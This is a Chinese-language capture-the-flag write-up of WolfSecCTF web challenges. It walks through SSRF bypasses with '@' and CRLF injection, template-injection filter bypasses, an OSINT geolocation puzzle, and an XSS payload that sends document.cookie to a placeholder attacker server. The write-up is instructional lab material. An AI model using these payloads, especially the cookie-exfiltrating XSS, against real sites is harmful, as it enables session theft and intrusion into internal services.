WolfSecCTF 几道有趣的题目
字数 1561 2025-08-27 12:33:31
WolfSecCTF Web题目解析与技巧总结
目录
Warmup: Burp
题目要点:
- 纯Burp Suite操作题目
- 通过观察响应包中的重定向提示
解题步骤:
- 初始请求会返回重定向到
/flag?count=1 - 访问
/flag?count=1后会提示重定向到/?count=7 - 访问
/?count=7即可获得flag
Flag: wsc{c00k1e5_yum!}
SSRF 101
题目要点:
- 存在SSRF漏洞,
path参数可控 - 两种主要解法
解法一:
- 通过
public.js发现路由标识 - 直接访问
/ssrf?path=1/flag - 利用端口号自动+1的特性访问
private2.js
解法二:
- 分析代码拼接方式:
http://localhost:${private1Port}${path} - 使用
@符号绕过,@前的内容会被当作用户名 - 构造payload:
@localhost:10011/flag
关键代码:
const url = `http://localhost:${private1Port}${path}`;
const parsedUrl = new URL(url);
Flag: 通过上述任意一种方法获取
SSRF 301
题目要点:
- 对SSRF进行了基础防护(第一个字符不能为数字)
- 需要绕过限制
解法一:
- 使用
%0D%0A换行注入1/flag
解法二:
- 仍然可以使用SSRF 101中的
@方法
Payload:
https://wsc-2022-web-4-bvel4oasra-uc.a.run.app/ssrf?path=%0d%0a1/flag
Flag: wsc{url_synt4x_f0r_th3_w1n_hq32pl}
Java???
题目要点:
- 使用chunk-templates模板引擎
{$flag}形式的数据可控,可能存在SSTI$符号被preventRecursiveTags函数过滤
解法一:
- 通过调试发现可以使用
~代替$ - 构造payload:
{~flag}
解法二:
- 使用URL编码绕过过滤
- 构造payload:
https://wsc-2022-web-3-bvel4oasra-uc.a.run.app/submit?name=%7B.%7B%2524flag%257d%7Curldecode()%7D
解法三:
- 使用正则匹配进行盲注
- 通过if语法匹配flag字符
关键点:
- chunk-templates支持多种语法和过滤器
- 可以使用
~代替$ - 支持URL编码解码操作
XSS 401
题目要点:
- 需要绕过hostname检查实现XSS
- hostname有RFC标准限制:
- 不能有空格
- 大小写会被统一转换
- 特殊字符会破坏hostname
解法:
- 使用Unicode字符代替空格(
%0C) - 利用
location.hash.slice(1)获取#后的内容 - 使用
eval执行#后的代码
Payload:
https://wsc-2022-web-5-bvel4oasra-uc.a.run.app/visit?url=https://<svg%0Conload=eval(location.hash.slice(1))>/#window.location='https://your-vps/?cookie='+document.cookie
关键代码:
if (parsedURL.hostname !== req.hostname) {
res.send(`Please provide a URL with a hostname of: ${escape(req.hostname)}, your parsed hostname was: escape(${parsedURL.hostname})`);
return;
}
OSINT-Where in the world
题目要点:
- 通过社交媒体信息定位用户位置
- 用户名为Vividpineconepig
- 线索:住在铁轨上方的街道
解题步骤:
- 使用Sherlock等工具查找用户社交媒体
- 在Instagram找到相关图片
- 分析图片中的高速公路标志(蒙大拿州特有)
- 注意到"Mile 280"标记
- 在Google地图缩小范围到Shelby, MT
- 根据高架桥和铁轨推测街道名为Oilfield
Flag: wsc{OILFIELD}
总结技巧
-
SSRF绕过:
- 使用
@符号绕过端口限制 - 使用换行符绕过字符限制
- 使用
-
模板注入:
- 尝试替代符号(
~代替$) - 使用URL编码绕过过滤
- 利用模板引擎的特性进行盲注
- 尝试替代符号(
-
XSS绕过:
- 利用hostname解析特性
- 使用Unicode字符代替空格
- 利用
location.hash和eval组合执行代码
-
OSINT:
- 结合社交媒体和地理线索
- 注意图片中的细节(路标、里程标记)
- 了解各地区的独特标识